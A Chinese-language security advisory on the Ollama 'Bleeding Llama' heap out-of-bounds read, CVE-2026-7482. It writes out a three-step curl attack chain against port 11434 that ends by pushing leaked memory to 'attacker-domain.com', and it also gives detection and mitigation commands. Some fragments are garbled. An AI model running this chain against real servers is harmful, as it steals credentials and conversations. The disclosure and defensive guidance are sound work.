返回首页

CVE-2026-7482 Bleeding Llama: Ollama Critical Memory Leak Affects 300K AI Servers

-2026-7482 "Bleeding Llama":Ollama关键内存泄漏漏洞影响全球30万服务器

hero

Ollama是最流行的本地大模型部署平台,但其GGUF模型加载器存在堆内存越界读取漏洞。攻击者无需认证,仅需3次HTTP 调用即可窃取服务器全部运行内存——包括API密钥、系统提示词、用户对话和云凭证。CVSS评分9.1,全球约30万台服务器暴露在公网。

漏洞概述:3次API调用,零痕迹窃取全部内存

section

2026年2月2日,Cyera安全研究员Dor Attias向Ollama项目报告了一个严重漏洞。经过近3个月的协调披露流程,该漏洞于2026年5月被分配CVE编号CVE-2026-7482,Cyera将其命名为"Bleeding Llama"(出血羊驼)。

这个漏洞的核心问题在于Ollama处理GGUF模型文件时的内存管理缺陷。GGUF(-Generated Unified Format)是Ollama用于存储AI模型的文件格式,其中包含张量数据(模型权重的大规模数值数组)以及描述每个张量大小和形状的元数据。当用户通过/api/create接口上传自定义GGUF文件并触发量化(quantization)操作时,Ollama根据GGUF元数据中声明的张量大小来读取内存——而非实际文件大小。

攻击者可以创建一个仅有几KB的微型GGUF文件,但在元数据中将张量形状声明为极大值(例如100万元素)。当Ollama执行量化时,它会按照声明的大小持续读取内存,实际文件数据在几KB后就已结束,但Ollama继续读取——直接进入堆内存。堆内存中存储着运行时的所有敏感数据:环境变量中的API密钥和云凭证、配置的系统提示词、正在进行的用户对话、从.env文件加载的密钥。这些数据全部被读入输出缓冲区,嵌入到生成的"模型"产物中。

整个攻击过程不会触发任何错误、崩溃或日志记录。攻击者随后使用/api/push将包含窃取数据的"模型"推送到自己控制的域名,完成数据外泄。从攻击者视角看,整个过程无声无息。

技术深度分析:语言unsafe包的致命隐患

section

漏洞的核心代码位于Ollama的fs/ggml/gguf.goserver/quantization.go文件中的WriteTo()函数。该函数使用Go语言的unsafe包来绕过内存安全保证,直接操作底层内存。

Go语言以其内存安全特性著称——垃圾回收、边界检查、类型安全。但unsafe包允许开发者绕过这些保护机制,直接操作指针和内存地址。Ollama在量化过程中使用unsafe是为了性能优化——模型文件动辄数GB,通过unsafe可以避免额外的内存拷贝。但这种性能优化的代价是:当输入数据不可信时,失去了所有的安全兜底。

具体漏洞触发路径如下:

  1. 攻击者上传恶意GGUF文件到/api/blobs/sha256:<digest>(简单的HTTP PUT请求,无需认证)
  2. 攻击者调用/api/create,设置quantize参数引用已上传的blob
  3. Ollama解析GGUF文件,读取元数据中声明的张量形状(例如100万元素)
  4. WriteTo()函数使用unsafe指针按声明大小读取内存
  5. 实际文件数据仅几KB,读取越界后直接进入进程堆内存
  6. 堆内存中的敏感数据(API密钥、环境变量、用户对话等)被读入输出缓冲区
  7. 攻击者通过/api/push将包含窃取数据的"模型"外传

关键问题在于:Ollama的上游发行版默认不对API端点进行认证。这意味着任何能访问Ollama端口(默认11434)的人都可以执行上述攻击链。

受影响版本与修复方案对比

section

维度 详情
CVE编号 CVE-2026-7482
CVSS评分 9.1(
漏洞类型 堆内存越界读取( Read)
攻击向量 网络远程,无需认证
攻击复杂度 低(3次HTTP调用)
影响范围 所有未打补丁的Ollama版本
暴露服务器数 约30万台(公网可达)
发现者 Dor Attias(Cyera)
报告日期 2026年2月2日
修复版本 Ollama最新版(已修补WriteTo()边界检查)
临时缓解 限制Ollama API端口仅本地访问(OLLAMA_HOST=127.0.0.1:11434

三步攻击链详解

第一步:上传恶意Blob

# 创建微型GGUF文件,元数据中声明巨大张量
curl -X PUT http://target:11434/api/blobs/sha256:fake_digest \
  ---binary @malicious.gguf

这是一个简单的HTTP PUT请求。Ollama的/api/blobs端点默认无认证,接受任何有效的SHA256摘要格式。攻击者甚至不需要提供真实的SHA256校验值——在某些版本中,服务端仅验证格式而非实际内容。

第二步:触发量化读取

curl -X POST http://target:11434/api/create \
  -d '{"name": "attacker/model", "quantize": "q4_0", "files": {"model.gguf": "sha256:fake_digest"}}'

此步骤触发Ollama的量化流程。WriteTo()函数根据GGUF元数据声明的张量形状读取内存,实际文件数据远小于声明大小,导致越界读取进入堆内存。环境变量、API密钥、系统提示词、用户对话等敏感数据全部被读入输出缓冲区。

第三步:外传窃取数据

curl -X POST http://target:11434/api/push \
  -d '{"name": "attacker-domain.com/model", "insecure": true}'

Ollama的/api/push功能会将"模型"数据发送到指定域名。由于上一步已经将堆内存中的敏感数据嵌入了"模型"产物,这一步等同于数据外泄。insecure参数允许HTTP(非HTTPS)传输,进一步降低了攻击门槛。

检测与应急响应

检测是否受影响:

# 检查Ollama是否监听公网
ss -tlnp | grep 11434

# 如果输出显示0.0.0.0:11434或:::11434,则暴露在公网
# 安全配置应为127.0.0.1:11434

# 检查Ollama版本
ollama --version

# 检查是否有异常模型(可能是攻击者创建的)
ollama list | grep -v "^NAME"

应急响应步骤:

# 1. 立即限制Ollama仅本地访问
export OLLAMA_HOST=127.0.0.1:11434
systemctl restart ollama

# 2. 或通过防火墙封锁外部访问
sudo iptables -A INPUT -p tcp --dport 11434 -j DROP
sudo iptables -A INPUT -p tcp --dport 11434 -s 127.0.0.1 -j ACCEPT

# 3. 更新到最新版本
curl -fsSL https://ollama.com/install.sh | sh

# 4. 轮换所有可能泄露的凭证
# - 云平台API密钥(AWS、Azure、GCP)
# - AI服务API密钥(等)
# - 数据库密码
# - 环境变量中的所有密钥

对AI基础设施安全的深远影响

Bleeding Llama暴露了一个被行业长期忽视的问题:AI推理基础设施的安全性严重滞后于其部署速度。

Ollama的流行源于其"零配置、开箱即用"的设计哲学——下载、运行、API调用,三步即可在本地部署大模型。但这种便利性是以牺牲安全性为代价的:默认无认证的API端点、使用unsafe包的性能优化、缺乏输入验证的模型加载流程。

Shodan搜索数据显示,全球约30万台Ollama实例暴露在公网。这些服务器中相当一部分运行在云服务器上,环境变量中存储着AWS Access Key、Azure Service Principal、数据库连接字符串等高价值目标。攻击者通过Bleeding Llama获取的不仅是AI模型数据,而是整个服务器的运行时内存——这是一个完整的凭证金矿。

此次事件也凸显了"AI供应链"安全的脆弱性。从模型文件格式(GGUF)到推理引擎(Ollama),每一层都可能成为攻击面。随着企业和个人越来越多地在本地部署AI模型,推理平台的安全性必须达到与数据库、Web服务器同等的重视程度。

同类漏洞对比

漏洞 产品 类型 CVSS 认证要求 影响
CVE-2026-7482 Ollama 堆内存越界读 9.1 无需认证 30万服务器
CVE-2024-39720 Ollama 路径遍历 7.5 无需认证 模型文件读取
CVE-2024-39722 Ollama 7.5 无需认证 服务拒绝
Heartbleed (2014) OpenSSL 内存越界读 7.5 无需认证 全球HTTPS服务器
CVE-2021-44228 Log4Shell 10.0 无需认证 数百万Java应用

Bleeding Llama与2014年的Heartbleed在攻击模式上高度相似——都是通过越界读取泄露进程内存,且都无需认证。区别在于Heartbleed影响的是HTTPS基础设施,而Bleeding Llama影响的是AI推理基础设施。两者都暴露了一个共同问题:性能优化与安全性的权衡中,安全性被牺牲了。

数据来源与参考文献

  1. Cyera . "Bleeding Llama: Critical Unauthenticated Leak in Ollama." cyera.com, 2026.
  2. VxLabs. "Bleeding Llama (CVE-2026-7482): Critical Ollama Leaks Your Entire Server Memory." vxlabs.in, May 13, 2026.
  3. Akto . "Bleeding Llama: 300K Servers at Risk and How to Respond." akto.io, 2026.
  4. Grabify Security. "Bleeding Llama: Critical Ollama Out-of-Bounds Read Vulnerability." grabify.org, 2026.
  5. OraCore. "Ollama flaw can leak process memory remotely." oracore.dev, 2026.
  6. NVD (National Vulnerability ). "CVE-2026-7482." nvd.nist.gov, 2026.

更新时间:2026-06-25

评论